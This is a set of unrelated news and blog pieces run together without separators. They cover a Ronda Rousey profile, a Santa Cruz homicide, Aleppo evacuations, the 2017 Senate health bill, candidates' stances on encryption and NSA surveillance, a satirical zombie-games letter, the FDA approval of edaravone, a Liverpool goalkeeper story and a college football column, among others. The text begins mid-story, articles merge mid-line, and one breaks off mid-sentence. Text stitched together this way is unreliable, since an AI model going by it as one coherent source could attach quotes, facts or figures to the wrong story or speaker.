When it wouldn't budge, we had no choice but to tell our mom. When she couldn't get the candy out, seeking medical attention was the only option. We loaded into the car and headed for the nearest ER. Just as we were pulling into our parking spot, the candy dislodged and popped out. The chocolate layer had melted just enough to let the raisin slide out.
To this day, Ronda avoids Raisinets like the plague.
She can draw a mean orca, but doesn't want to get chomped by one.
Ronda has always been into art, and she's often sketching or doodling something. Her subject of choice: sea life. She's known to draw dolphins on pretty much everything. She even painted a full mural in her childhood bedroom that features kelp, a sea lion and random fish. She initially wanted to be a marine biologist, but opted for a career as a fighter, in part, because "you're less likely to get eaten by a killer whale."
She's even more into video games than you thought.
Ronda's postfight plans following UFC 184? "To lie on the couch for two weeks and play video games."
Her Pokemon obsession has been well documented, but Ronda is a serious gamer beyond Pikachu. (For the record, Ronda's favorite Pokemon is actually Mew.) Nowadays, she is more likely to be found playing "World of Warcraft." At family gatherings, she dominates at "Mario Kart." Her character of choice: Black Yoshi. She also has impressive "Just Dance" skills.
But beyond playing games, she is taking a role in creating them. She serves as a storyline consultant -- and not in the "name only" sense -- for 7 Generation Games, an educational video game company for which she has drafted the stories for several games' side quests and Easter eggs.
Two-week-itis: It's not contagious, but you want to stay away.
Ronda is a force to be reckoned with in the cage, but those close to her know facing her two weeks out from a fight is when she's her most scary. It's what she and those around her refer to as "two-week-itis." During that time, you don't even want to make eye contact with her. She's started cutting weight, so she's hungry. She's training at full speed, so she's tired and irritable. She walks into the Octagon with nerves of steel -- but that's because she did all of her stressing out two weeks earlier.
Maria Burns Ortiz is the co-author of "My Fight/Your Fight" with Ronda Rousey, due out in May (Regan Arts) -- and is also Ronda Rousey's older sister.Advertisement Two arrested in Santa Cruz levee homicide Share Shares Copy Link Copy
A Santa Cruz woman and her boyfriend were arrested on murder charges following a deadly shooting on the San Lorenzo River levee, police said Wednesday. An argument between two homeless men escalated Tuesday morning until one man pulled out a gun and fired, Deputy Police Chief Rick Martinez said. The gunman and an accomplice fled the scene before officers arrived at 8 a.m. The victim had been shot in his upper torso, and he died at the scene. Police identified the suspected killers as 27-year-old Nino Ruiz and 31-year-old Jenessa Kic. The couple was arrested four hours after the shooting while they were leaving a home on Liebrant Avenue. Ruiz was booked into the Santa Cruz County Jail on one count of murder. Kic was booked on charges of conspiracy to commit a murder and murder. The gun used in the homicide has not been found, a motive remains under investigation, police said. People who knew the victim described him as a good friend, and said his first name was Joey. "Joey was a good guy. He cared about his friends. He cared about the environment that he lived in and he really was a funny guy," an individual who goes by L.B. said. "He was always a good dude. He's always been my friend. I don't know what they could have been arguing about, to be honest," said Jonah, who did not provide a last name. Joey's death was the second homicide of the year in Santa Cruz. Bicyclists and pedestrians who use the levee path were detoured around crime scene tape Tuesday. "(You) see a lot of people down here, some nefarious activity at times, but this is the first time there's been any kind of death down here. It's kind of shocking," said Garrett Mooney, who lives in Seabright. "I mean, I got a little scared. I was ready to close our doors, lock them up and go home, but I'm supposed to be here," said Alina Osborne, who works nearby.The Associated Press
Mubin Shaikh says he's haunted by a video image: A 3-year-old boy uses a large knife given to him by his parents to cut off his teddy bear's head.
Shaikh is a Canadian Muslim who was radicalized as a young man and is now an expert on countering violent extremism. He now uses that video to train police and intelligence services.
Shaikh told a UN Security Council meeting on children and armed conflict Tuesday that it's a "real-life story of where we are today and what we will deal with tomorrow."
He said armed groups around the world are using children to carry out attacks, build their ranks and promote their beliefs.
Shaikh urged action to prevent recruitment -- and to demobilize and rehabilitate radicalized children.People gather to be evacuated from a rebel-held sector of eastern Aleppo, Syria December 15, 2016. REUTERS/Abdalrhman Ismail
BEIRUT (Reuters) - The commander of forces allied to Syrian President Bashar al-Assad said on Sunday there was still a chance for states with influence over rebel groups to find a solution to the delay in evacuating civilians safely from east Aleppo and four besieged towns.
In a statement carried by a military news outlet run by Damascus’s ally Hezbollah, the allied forces leadership said responsibility for the delay in the evacuation deal fell to “terrorists and their state sponsors”.
On Sunday armed men burned five buses that were supposed to evacuate people from two villages besieged by rebels, holding up a deal to allow thousands to depart the last rebel pocket in Aleppo. Evacuees were crammed in buses, waiting to move.
The allied forces’ leadership said the attack on the buses was “immoral and criminal”.
“We respect what we say and we confirm that there is still an opportunity for the states that sponsor, and have influence over the militants and the terrorist groups to find an acceptable solution, based on accelerating the safe departure of civilians in a way satisfactory to all,” the statement said.
A first group of people left besieged east Aleppo on Thursday but rebel sources said pro-government Shi’ite militias on Friday opened fire on a convoy carrying evacuees from east Aleppo and robbed them, before returning them to east Aleppo. Nobody has left east Aleppo since then.
The statement said the allied forces did return people to east Aleppo on Friday in order to protect them from protesters who were blocking the road out of Aleppo in support of people in the two besieged villages of al-Foua and Kefraya, demanding people also be evacuated from there.Senate Republicans finally made their new draft of the Trumpcare bill public, and you can read the entire, 142-page monstrosity by clicking right here. Or you can follow along as the Democratic senator from Pennsylvania, Bob Casey, reads it for you.
Going through this disaster of a 'health care' plan now. https://t.co/4mbFPR5Fg6 — Senator Bob Casey (@SenBobCasey) June 22, 2017
The second term senator is highlighting the most disturbing parts of the bill in photos and 140-character messages, as the rest of Twitter melts down over the destruction of medicaid. This is the Senate "discussion draft" of the Trumpcare bill that already passed the House. If the Senate approves this version, it will go back to the House for another approval, before Trump signs it into law.
As background, Casey supported Obamacare and is a member of the Committee on Health, Education, Labor, and Pensions.
Here's his Twitter right now (including his retweets):
This scheme sells out the middle class, seniors and individuals with disabilities to pay for a tax cut for the wealthy. That's obscene. — Senator Bob Casey (@SenBobCasey) June 22, 2017
Page 41. They revoke the essential health benefits requirement. pic.twitter.com/1fxrRRrwyg — Senator Bob Casey (@SenBobCasey) June 22, 2017With the general election creeping ever closer here in the United States, now seemed like a good time to get an official stance from the four presidential candidates who will be on the ballot about critical issues around technology and privacy.
I narrowed my list of questions for them down to just four (my original list was around 12) in order to make this easy for each campaign to answer. And each campaign was asked the exact same questions—with no variation whatsoever.
Even so, the only campaign to respond to me in any real way was Jill Stein’s. The Hillary Clinton, Gary Johnson and Donald Trump campaigns declined to provide concrete stances or clarifications—though I did get some helpful links from a Johnson surrogate.
As such, I took a little time to try to find existing quotes and the positions of the other candidates on the topics, which was harder than it should have been. Whenever I needed to include my own words in order to explain their views, I put those words in brackets to make it clear they are not direct quotes from the candidates.
If I was unable to find a position/statement from a candidate on a question (there are a few of those moments), I would love to hear if anyone else is able to. This is all about getting accurate information about the candidates and their positions on tech/security issues, not about spinning things to make one candidate look better than another. Along those lines, if the individual campaigns would like to make any clarifications or corrections to this, reach out to me and I will gladly post an update.
Also note: The candidates’ responses are in alphabetical order based on their last names.
----------------------------------------------------------
Lunduke: What is your stance on end-to-end encryption for private citizens?
Clinton: “Encryption of mobile communications presents a particularly tough problem. We should take the concerns of law enforcement and counterterrorism professionals seriously. They have warned that impenetrable encryption may prevent them from accessing terrorist communications and preventing a future attack.” – from TechDirt.
[It should be noted that this article points out that the Clinton campaign itself relies on encryption but does not believe other citizens should be allowed to.]
Johnson: “Security is important, for sure. But throwing away our right to privacy has the opposite effect of protecting our freedom. That’s why the Fourth Amendment says that the government can’t snoop into our private lives unless they have a good reason to do so. Besides, is the government more likely to secure our freedom by collecting trillions of bits of unmanageable data or by identifying real threats and focusing their efforts on properly warranted searches?” – from JohnsonWeld.com.
Stein: “End-to-end encryption should be an internet standard, just like SSL for financial transactions.”
Trump: [I found it difficult to figure out what Donald Trump’s position on this issue is. He doesn’t appear to have made any sort of direct statement. But he is a supporter of bulk data collection of U.S. citizens, which suggests he would be against end-to-end encryption (which makes that data collection more difficult).]
Lunduke: What is your stance on open source software usage within state and federal government agencies?
Clinton: “The federal government spends nearly $90 billion in information technology, but the American taxpayer doesn’t get $90 billion in value. Hillary will make it easier for the federal government to find, try and buy innovative technology—including open source software. She would also break large federal IT projects into smaller pieces, so it will be easier to stop projects that are over budget or failing to meet user needs, and also more feasible for small and medium-sized businesses to support public service projects.” – from HillaryClinton.com
Johnson: [I could find no time that Johnson has mentioned the words “open source,” “free software” or any other related phrases.]
Stein: “We are in favor of open source software usage within state and federal government agencies as long as regular audits are performed to protect vital data from being unknowingly transmitted. Using open source software is an excellent way for government agencies to save money. Ideally, agencies should contribute any code customizations back to Free/Libre Open Source Software projects.”
Trump: [I was unable to find any time that Donald Trump referenced open source software in any way.]
Lunduke: Do you agree with the ACLU and Human Rights Watch that Edward Snowden (and other whistleblowers) should be pardoned?
Clinton: “Because he took valuable information and went first to China and then is now under the protection of Vladimir Putin, I think that raises a lot of questions about everything else he did. So, I do not think he should escape having to return and answer for what he has done.” – from TheHill.com
Johnson: “Based on what I know about Edward Snowden, I would pardon Edward Snowden.” – from TexasTribune.org
Stein: “Yes. We would pardon Edward Snowden, Chelsea Manning, John Kiriakou, Jeffrey Sterling, Julian Assange and other whistleblowers.”
Trump: “I think Snowden is a terrible threat. I think he’s a terrible traitor. And you know what we used to do in the good old days when we were a strong country — you know what we used to do to traitors, right?” – from WashingtonTimes.com
Lunduke: What is your stance on the current activities of the NSA in regard to surveillance and data gathering of U.S. citizens?
Clinton: On NSA’s spying power, Clinton said, “... how much is too much? And how much is not enough? That's the hard part. I think if Americans felt like, number one, you're not going after my personal information, the content of my personal information. But I do want you to get the bad guys because I don't want them to use social media, to use communications devices invented right here to plot against us. So, let's draw the line. And I think it's hard if everybody's in their corner. So, I resist saying it has to be this or that. I want us to come to a better balance.” – from TheAtlantic.com
[It should also be noted that Clinton voted for, and voted to re-authorize, the Patriot act.]
Johnson: "The NSA is a complete executive order as it is under Truman. We could turn those satellites on what is supposed to be the enemy. The fact that they’re pointed on us right now, doesn’t that cause everyone a bit of concern? It should. Look, there’s due process for spying, but due process is not blanket collection of all of our data."
Asked if he could eliminate the NSA via executive order: "Apparently. I’m waiting for someone to prove me wrong. This is what I’ve been told.” – from TheHill.com
Stein: “The ubiquitous surveillance conducted by the NSA erodes fundamental rights to privacy and free association, while furnishing a gigantic surveillance-industrial complex with taxpayer dollars. The warrantless internet and phone dragnets were ineffective in providing predictive value for anti-terrorist initiatives, as there was simply too much data to filter in any meaningful way, and instead were used as a repository of potential evidence (gathered without a warrant) only after an accusation had been made.
“We have become the most surveilled population in history, and the potential for abuse is enormous. The way to stop terrorism is to stop funding and arming terrorists and countries that support terrorism and to end U.S. wars and foreign policies that create blowback—not through unconstitutional spying that treats every cell phone and computer user as a suspected enemy of the state.”
Trump: “Well, I tend to err on the side of security, I must tell you, and I’ve been there for longer than you would think. But, you know, when you have people that are beheading if you’re a Christian and frankly for lots of other reasons, when you have the world looking at us and would like to destroy us as quickly as possible, I err on the side of security. And so that’s the way it is, that’s the way I’ve been, and some people like that, frankly, and some people don’t like that.” – from TruthInMedia.comDear Game Industry,
I regret to inform you that you have failed your Zombie Aptitude Test, or the ZAT. You got a score of 10 out of 1600. You received those ten points because you spelled your name correctly and because you drew a little doodle of a chibi zombie at the top corner of the exam.
Your failure is the result of the fact that you chose to answer every question on the ZAT with the multiple choice solution, "d: Shoot zombies with guns." Consider for example the question, How do you survive the zombie apocalypse? You answered, "Shoot zombies with guns." Or the question, What is the true threat in a zombie apocalypse? You again answered, "Shoot zombies with guns." Here's another good one: What makes zombies scary? Your answer? Ding ding ding. Give the test-taker a kewpie. "Shoot zombies with guns."
That answer doesn't even make sense. It wasn't even a choice half the time. You just wrote it in on the Scantron form. In pen, no less. Your teachers are very disappointed.
That said, you are likely aware that everyone is allowed one free retake of the ZAT to determine whether you're going to be allowed into Undead University. As such, we are casually and quietly suggesting - oh, just ignore the pesky pistol lodged in the small of your back and the car battery on that nightstand over there - that you undergo a tutoring session with us, ZAT Prep Course Inc., before reattempting the ZAT and making more zombie-related videogames which, as noted, get zombies totally fucking wrong.
Let the tutoring begin!
***
We begin by addressing the question, What makes zombies scary?
What's that? You think that zombies are scary because they're gory undead half-rotting cannibals? And I'm sorry, did you again mumble something about "shoot zombies with guns?"
Bzzt. As the electric shock that just coursed through your body suggests: Wrong.
Zombies are about subversion.
Zombies are like a form of really aggressive cancer: Just as cancer subverts healthy cells and corrupts their normal function, so, too, do zombies subvert healthy humans. It might be with a bite or a scratch, or maybe it's by dint of death itself, so that when one's demise comes it never truly comes. This is the subversion of sickness, of disease. Zombies are scary in the way that Ebola or HIV are scary. Zombies are the black plague of monsters - get too close, drop your guard, and they will do more than just kill you. They will infect you.
As you may note, this rarely, if ever, shows up in your zombie-themed videogames. For the most part, zombies in games are scary only as a constant physical threat. They stomp, shuffle or run at you. Then you shoot them. Or blow them up. Or decapitate them with Garden Weasels.
But rarely are we confronted with the fear of becoming them.
And this subversion is what makes the zombie unique. If all they are is a horde of rampaging lunatics that must be dispatched with shotguns and pipe bombs, then are they really any different than a Christmas Eve shopper riot at Toys R' Us?
***
Second question. What is the true threat in a zombie apocalypse? On this napkin here, you've written in your own urine, "ZOMBIES R SCARRY CUZ THEY EAT YOUR HED - SHOOT THEM W/GUNZ."
Wow. That electric shock already did a number on your frontal lobe. My bad. Still, wrong is wrong, so - bzzt! - it's time for another shock.ALS TDI statement regarding FDA marketing approval of Radicava (Edaravone) as a treatment for ALS.
The Food and Drug Administration announced today it has granted approval to MT Pharma America to begin marketing edaravone as a treatment for amyotrophic lateral sclerosis (ALS). The approval of edaravone marks the first new treatment to be approved for ALS in the United States since Rilutek® (Riluzole) was approved in 1995.
“This announcement is an important one. The approval gives people with ALS and their doctors a new treatment option to explore together. ALS is a complex disorder and it will require multiple different approaches to bring relief to all those diagnosed with ALS. With several additional potential treatments in clinical trials today, this is a uniquely hopeful time for the ALS community,” said Steve Perrin, Ph.D., CEO & CSO of the ALS Therapy Development Institute (ALS TDI).
The ALS Therapy Development Institute will hold a public webinar in the coming days to discuss edaravone with the ALS community. Advance registration required at https://www.als.net/als-webinars/.
Key Highlights:
Edaravone will be marketed as Radicava in the United States. Here is a link to the approved drug label from the FDA.
Edaravone was approved in Japan in June 2015. It was approved shortly thereafter in South Korea. It was approved by the FDA in the US in May 2017.
MT Pharma America filed for marketing approval in the US in August 2016 without conducting clinical trials in the US first. This is a very unique path to approval as it has been historically uncommon for the FDA to accept applications without US clinical trial data.
Edaravone is delivered via intravenous infusion 10-14 days at a time followed by a drug holiday of similar length.
MT Pharma America aims to have Radicava available for use in the US by August 2017.
People with ALS looking to learn more should visit www.mt-pharma-america.com or www.radicava.com
ALS is a progressive and fatal neurodegenerative disease. Most people diagnosed with ALS will survive only 3-5 years. Every 90 minutes someone in the United States is diagnosed with ALS, and approximately 30,000 people in the United States are living with ALS at any given moment. Some forms of ALS are genetic, linked to dozens of different genes associated with the disease. However, most ALS cases are still considered sporadic, having developed without a known genetic link. For these reasons and others, ALS remains a challenging heterogeneous disease, with many different forms and highly variable progression rates between each individual person diagnosed.
Edaravone was developed by Mitsubishi Tanabe Pharma Corporation in Japan, originally as a treatment used in the recovery from stroke. Later, the company worked through several clinical trials in Japan to explore its potential as a treatment for ALS given its properties as a free radical scavenger. Japan’s pharmaceutical regulatory agency approved edaravone to be marketed as a treatment for ALS in 2015. In Japan edaravone is marketed as Radicut, whereas in the United States it will be marketed by MT Pharma America as Radicava following the FDA approved issued today.
People with ALS should refer to the MT Pharma America website (www.mt-pharma-america.com) for more information about edaravone. The ALS Therapy Development Institute will hold a public webinar in the coming days to discuss edaravone with the ALS community. Advance registration required at https://www.als.net/als-webinars/.
Helpful LinkA bug in macOS Sierra is incorrectly telling some users that their MacBook Pro just got a nice graphics upgrade.
Some 15-inch units are packing Intel Iris Pro 580 graphics, according to the built-in System Information report. But in actual fact, they have Intel Iris Pro 530 graphics instead.
Fans first spotted the glitch on demo MacBook Pro units in the Apple store, according to MacRumors. This led some to speculate that Apple may have been sneakily packing its demo machines with more powerful chips.
However, users have since discovered seeing the same Iris Pro 580 graphics on 15-inch MacBook Pros that have recently been shipped out to customers. Sadly, it’s not the quiet graphics upgrade some were hoping for.
Instead, it appears to be little more than a bug in Sierra. What’s strange is that many machines only report Iris Pro 580 graphics when plugged into a charger. When running of the MacBook Pro’s battery, System Information accurately reports Iris Pro 530 graphics.
“Another indication of misreporting is that units which identify the GPU as an Iris Pro 580 appear to show the device ID string “191b”, which correlates with the Intel HD Graphics 530 chip,” adds MacRumors.
If that wasn’t enough to rule out the upgrade, users who are seeing Iris Pro 580 graphics report no noticeable performance improvement. What’s more, Intel only ships Iris Pro 580 graphics will select Core i5 and Core i7 processors, which Apple isn’t using in the MacBook Pro.A handful of alternatives to antibiotics have the potential to combat bacterial infections in the next decade, but they are unlikely to replace traditional antibiotics, according to a new independent report.
Commissioned by the Wellcome Trust and co-funded by the Department of Health, the report assesses whether alternatives to antibiotics could contribute to controlling the rise of drug-resistant infections, one of the greatest global public health threats of our time.
Professor Aras Kadioglu from the University’s Institute of Infection and Global Health, who co-authored the report said: “We’ve highlighted a wide range of potential alternatives to antibiotics in the treatment of antibiotic resistant infections. However, we estimate that funding of more than £1.5 billion is needed over the next ten years to develop these new therapies towards clinical use, with additional investment required to bring them to market.
“Without such levels of funding, new treatments to replace or supplement antibiotics will probably not be available in the long-term, and the consequences of such a delay for global health needs to be considered now.”
Reviewing the options
The authors consulted a wide range of experts who identified novel non-antibiotic approaches that will most likely deliver new options for the treatment and prevention of infections within the next 10 years.
The report focuses on substitutes to antibiotic compounds that target either the bacteria themselves or the host organism. The authors reviewed agents that could be taken orally, by inhalation or by injection to treat invasive bacterial infections.
Nineteen alternatives to antibiotics were identified that are actively being progressed. The most advanced novel therapies are probiotic-based treatments for Clostridium difficile, a common cause of diarrhoea, for which the report estimates there will be product approval within the next decade.
Prevention strategy
The most advanced preventative alternatives include probiotics for prevention of C. difficile infection and novel antibodies for prevention of bacterial infections caused by the bacteria Staphylococcus aureus and Pseudomonas aeruginosa.
Other potential alternatives to antibiotics, either treatments or prevention strategies, are progressing more slowly and include bacteriophages (viruses that infect and kill bacteria) and lysins (enzymes produced by bacteriophages that digest the cell wall of bacteria). While both have potential to replace the use of some antibiotics, the therapies may be limited to targeting only one bacterial species at a time.
Antibiotic ‘enhancers’, which use alternative therapies in combination with antibiotics, could also be useful to improve treatment, but insufficient research makes development less likely in the near term.
Global response
Dr Mike Turner, Head of Infection and Immunobiology at the Wellcome Trust said: “Drug-resistant infections are one of the greatest threats to our health, and with limited antibiotics available we must find effective solutions rapidly.
“Some alternative therapies look |
Brennan sworn in on first draft of constitution – without the bill of rights
CIA director John Brennan swore the oath of office Friday on an original copy of the constitution, the White House announced, which at first sounds pretty cool.
Better than a Bible – everybody does the Bible. The copy is from 1787, and it apparently has George Washington's personal handwriting and annotations on it and everything. They keep it in a protective manila folder, visible in an official photo of the moment.
So far, so charming – except for one detail:
Presumably lacking some of the peskier rights. MT @vp: VP swears in CIA Director Brennan w/ Washington's 1st draft of the Constitution. — Ana Marie Cox (@anamariecox) March 8, 2013
The founders were quick about the Bill of Rights, ratifying them in 1791. But the constitution was passed without them. A pre-ratification draft of the constitution certainly would not have included them. The fifth amendment's guarantee of due process before the law? Brennan's wife's not holding it and Brennan ain't swearing on it.
It's not like the document you swear on matters. None who swear on the Bible are bound thereby to keep the sabbath. You could swear on Our Bodies, Our Selves, probably. The book is just a symbol that the oath-taker is being serious.
As a symbol, though, in this particular case, given that the oath-taker is the man in charge of choosing those people who don't qualify for due process but instead must be executed immediately – in this case it might not have hurt to stick a copy of amendment number five in there.
Or maybe one of Washington's annotations counsels caution in the use of armed drones.Dear Member of the Virginia Tech Community,
In interacting with you and our fellow Hokies over the past 24 hours, I have heard the full range of emotions — from vindication to shock, from outright fear to enthusiasm. All of these are responses to what has been a rancorous election cycle, one that has no parallels in recent history.
This presidential election season has tested our fortitude, our character as a country, our values, and our commitment to civility. If there was a revelation for me from the year preceding the election, it was that as individuals and as a nation, we failed to listen and we failed to empathize. We talked past each other. Why could we not have pulled aside our neighbor and asked “Why are you distressed? Tell me about your history, your values, and your lived experience. What can I do for you?"
As Hokies, we have a commitment to Ut Prosim (That I May Serve) and that commitment requires empathy. You cannot serve those you don’t understand. This is much more fundamental than politics. Empathy takes work, time, commitment, and courage.
I ask you to commit to having these difficult conversations as thoroughly and as frequently as your humanity will permit. While your individual contribution may seem small, you will be modeling the only behavior that will lead us forward. #VTUnfinished is a start to these conversations, and I hope you will join me next week as our campus seeks to continue listening, sharing, and learning.
In the spirit of Ut Prosim,
Tim Sands
PresidentGet the biggest Liverpool FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Loris Karius will have the chance to stake a claim to be Liverpool No 1 when he makes his debut against Derby County on Tuesday night.
The £4.7million summer signing from Mainz will replace Simon Mignolet for the EFL Cup third round tie at the iPro Stadium.
Jurgen Klopp believes the time is right to give some game time to the 23-year-old German shot-stopper, who has been back in full training for a fortnight after six weeks out with a broken hand.
The Reds boss says “there is no No 1 at this moment” and insists he has yet to decide whether Mignolet will be restored to the starting line up for Saturday’s Premier League clash with Hull City at Anfield.
“Yes, if nothing happens, Loris will play,” Klopp said.
“In the moment when we signed him you can imagine we thought he is not so bad.
“He was a really strong Bundesliga goalkeeper. That means a lot. Germany is a goalkeeper country. We have no issue with goalkeepers. The best keeper in the world plays at Bayern Munich and is German. We always had good ones, maybe not always the best in the world, but good ones.
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“The mentality is we like this job. The kids like to wear gloves. It’s good to be in goal for a Bundesliga team at such a young age.
“Loris had a bad start at Mainz, when no-one really wanted him, but he went on to become an outstanding goalkeeper. We wanted him.
Karius is no rookie having clocked up nearly 100 Bundesliga appearances and he was brought in to increase competition for Mignolet’s spot.
The former Manchester City Academy youngster had looked set to start the campaign in goal before he broke a bone in his hand in a pre-season friendly against Chelsea in America.
That setback handed Mignolet the initiative and the Belgium international has impressed during the opening six matches of the season.
“What we want is two really strong goalkeepers and that is what I think we have got,” Klopp added.
“Loris had an advantage in pre-season and he could not use it because of the injury. Simon came in this moment back from the national team and did a brilliant job.
“I really don’t want to make a big battle of these two goalkeepers, why should I? Goalkeepers need to feel secure but you can’t play your whole life as a keeper without conceding goals.
“You will always feel a bit guilty, more or less. But you need a manager who will say you can still stay and feel confident. I can’t say ‘today, him and then today him’. The pressure on the players is big enough.
“I don’t have to make any more, they have to do their best and then when I have a feeling for something I will change or not. It is not because we paid money for Loris and did not pay money last year for Simon that I make the decision.
“It is all about what I see in training, and what I see is two very good goalkeepers and another very good goalkeeper for the future (Danny Ward) who we gave to Huddersfield. The business is done. We don’t need to talk about this position. Now the boys have to perform.”
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Mignolet has been the club’s first choice keeper since his £9million move from Sunderland three years ago. He was also rested for the opening rounds of the League Cup last season with Adam Bogdan deputising against Carlisle, Bournemouth and Southampton.
Asked if Mignolet would start against Hull on Saturday, Klopp said: “Where is my possibility to answer?
“When I say ‘yes’ what does it mean for Loris? If I say ‘no’ what does it mean for Simon?
“This question makes sense but the answer would not. There is no No 1 at this moment. There is no decision to make.
“It is just about performing and showing how good you are. For all the other players it is the same. I won’t say someone is our centre-half for the next 15 months.
“It is about performing and improving - showing how much you can help the team.”Those who read this blog know I try to report on the various LL projects which are on the go, both server-side and viewer side and – in some cases – both.
One of the latter is the HTTP project work, which has been in progress over the last couple of years and spearheaded by Monty Linden, who has been slowly but surely making dramatic changes to SL’s sometimes creaky communications mechanisms. This work started with texture fetching, way back in 2012, and has steadily progressed from there, with changes being made both server-side and within the viewer.
Much of this work has gone unsung among the greater populace of SL as a whole, which is a shame, as Monty is perhaps one of the great heroes of SL and the Lab for taking-on this work and developing a project and roadmap which not only massively improves viewer / server communications and their overall robustness, but which is also having beneficial impact elsewhere (such as Monty rebuilding third-party libraries critical to the viewer and putting in place mechanisms to ensure they are properly maintained going forward) and also preparing the ground for HTTP pipelining.
Most recently, Monty’s work has involved overhauling the way in which mesh is handled between the viewer and the server (both uploads and – in particular – downloads), something which has been an issue since mesh was first introduced, due to the manner in which it effective “shotguns” the network, and also because – to a degree – people don’t fully understand the impact certain debug settings have on viewer / server communications.
The fruits of this labour have already been released server-side, and now the viewer changes are reaching a point where they will soon be filtering into viewers of all flavours, the code having now moved from a project viewer to a release candidate viewer.
(This viewer should also address the DNS problems many users have experienced and eliminate the need to use the Google DNS workaround for those who have been affected.)
The blog post is a careful and clear explanation of the work which has gone on to date, covering all aspects of the project, the positives and some of the negatives, while touching on some of the complexities of viewer / server communications which are outside of the Lab’s direct control, but which these changes may well still help alleviate to some degree. The piece also looks to the future and what also might be folded-in to the work, allowing for management decisions, staffing, and other priorities as well. While the look ahead is somewhat speculative at this point in time, it does point towards some intriguing options, such as updates to HTTP services such as inventory operations…
All-in-all, the post is a worthwhile read for anyone with any interest whatsoever in the work the Lab is putting into trying to improve Second Life and improve the experience for all of us who use it.
AdvertisementsClemson linebacker Dorian O’Daniel was charging forward to cover the running back out of the backfield on what seemed like Louisville’s 28th second-and-long of the evening. It made sense, as quick passes to the perimeter were all the Tigers had allowed defending Heisman winner Lamar Jackson to complete. He was 11-for-23 passing at this point early in the third quarter — 9-for-12 on passes that were quick and to the sideline and 2-for-11 on anything else.
With O’Daniel properly baited, Jackson attempted to use his momentum against him, throwing behind where he would be to Reggie Bonnafon downfield.
O’Daniel stopped on a dime, lurched back into the passing lane, made a spinning interception — Jackson’s first in 134 throws — then changed directions once more and took it 44 yards for a touchdown and a 26-7 Clemson lead.
As Jackson was walking off the field, he appeared to give an exasperated “What??” He was probably talking to a coach just off-camera, sure, but you could forgive him if he was briefly falling into his own internal monologue.
What?
Is Clemson... better than it was last year?
What?
Team of the Week: Clemson
Clemson wrecked my plans last night, just as it was wrecking Louisville’s. As Mississippi State began to systematically break down and destroy LSU, I had decided the Bulldogs would get Sunday’s Team of the Week treatment. It was a display of dominance Dan Mullen’s team had perhaps never shown during his increasingly successful tenure in Starkville.
Then Clemson went and left me with no choice.
The benchmarks are impossible to ignore.
Last year, on the way to the national title:
The Tigers held Auburn to 13 points and 262 yards and sacked its revolving door of quarterbacks four times in a six-point win.
They allowed Louisville 36 points and 568 yards in a Death Valley thriller.
This year:
Auburn scored just six points, gained 117 yards, and took 11 sacks in an eight-point Clemson win.
Louisville gained only 433 yards and scored 21 points, but that doesn't tell the story: The Cardinals gained just 185 of those yards and scored just seven of those points in the game's first 43 minutes (which included seven UL punts and the pick-six), as Clemson built a 33-7 lead. The Cardinals made things respectable in the late going, but only because Clemson allowed them to.
Oh yeah, and Clemson gained 613 yards on Louisville, 106 more than last year.
Clemson was always going to be good this year. Of course. You know who the Tigers lost from last year’s breakthrough title — quarterback Deshaun Watson (the No. 12 pick in the NFL draft), running back Wayne Gallman (no. 140), receivers Mike Williams (No. 7) and Artavis Scott, tight end Jordan Leggett (No. 150), center Jay Guillermo, defensive tackles Carlos Watkins (No. 142) and Scott Pagano, linebacker Ben Boulware, safety Jadar Johnson, and cornerback Cordrea Tankersley (No. 97) — but they still returned plenty of talent from head coach Dabo Swinney’s recruiting machine. They still had monsters for defensive coordinator Brent Venables to deploy. They still had speedsters for offensive co-coordinators Tony Elliott and Jeff Scott to break in.
But come on. There’s supposed to be a breaking-in period.
Quarterback Kelly Bryant (22-for-32 for 316 yards on Saturday night) had thrown 18 career passes before taking over for Watson.
Running back Tavien Feaster (10 carries for 92 yards) had 37 career carries, all in 2016 blowouts.
Running back Travis Etienne (six carries for 98 yards, including an 81-yard explosion late in the game) was lining up in the Jennings (La.) High School backfield against Church Point High this time last year.
Defensive end Austin Bryant (four TFLs vs. Auburn) had just four TFLs all of last year.
Safety Isaiah Simmons (six solo tackles and two assists vs. Louisville) was a Kansas lean in recruiting until he picked up a late offer from Swinney and signed. He redshirted last year.
The stars are playing like stars. Defensive tackles Dexter Lawrence and Christian Wilkins are immovable. O’Daniel and Kendall Joseph have raised their already high game at linebacker. The receiver trio of Ray-Ray McCloud, Hunter Renfrow, and Deon Cain made a ton of tough catches against Auburn, and McCloud’s 79-yard catch in Louisville was a dagger.
But the new pieces have fit right in, and after playing things conservatively against Auburn, the staff loosened the reins on Bryant a bit, and it paid off. He takes a lot of hits (he had 14 carries and got sacked four times on Saturday), but he has led the Tigers to wins over top-15 teams in two of his first three starts.
That Clemson is 3-0 isn’t a total surprise. This is the preseason No. 5 team that we’re talking about here. But five suddenly feels like an understatement. This team is a wrecking ball.
Other Teams of the Week
2. Mississippi State (def. LSU, 37-7)
Mullen lost the best quarterback in school history (Dak Prescott), and it took him basically one reset year to put maybe his best team yet on the field. That the Bulldogs beat LSU at home wasn’t a massive surprise; that they dominated LSU was a stunner. This team better get a lot of top-10 votes this week.
3. Penn State (def. Georgia State, 56-0)
No, Penn State has not been tested yet. No, destroying Georgia State isn’t a massive accomplishment. But as he prepares his team to defend its Big Ten title, knowing his Nittany Lions are going to take a lot more big swings than they did a year ago, head coach James Franklin used the final minute of nonconference play to deliver one final message: Nothing is going to come easy against this team, even a meaningless field goal in the final moments of a blowout. If his backup field goal team isn’t lined up right before said meaningless field goal, he’s going to use a timeout to fix it. Up 56.
4. Vanderbilt (def. Kansas State, 14-7)
One of Saturday’s more intriguing matchups was in Nashville, where Vanderbilt took a thrilling defense and questionable offense into battle against a K-State team with a thrilling offense and questionable defense. The defenses won out. Each team had one sustained scoring drive, and Vandy took a nice win by picking off a fourth-quarter pass and setting up a short-field touchdown.
5. Purdue (def. Missouri, 35-3)
Jeff Brohm’s got one of the more tactically interesting teams in college football — it was the case last year at WKU, and it is the case in West Lafayette as well. He took a prepared team to Columbia. Unfortunately, his was the only team to show up. The Boilermakers only got to ply their trade for about 30 minutes, because that was all it took to put away an uninterested Missouri squad.
6. Memphis (def. UCLA, 48-45)
People like to say that college football is more fun when [Dominant Team from Childhood] is good. I say college football is more fun when Memphis is fast as hell and capable of beating Josh Rosen and UCLA in a shootout.
7. UAB (def. Coastal Carolina, 30-23)
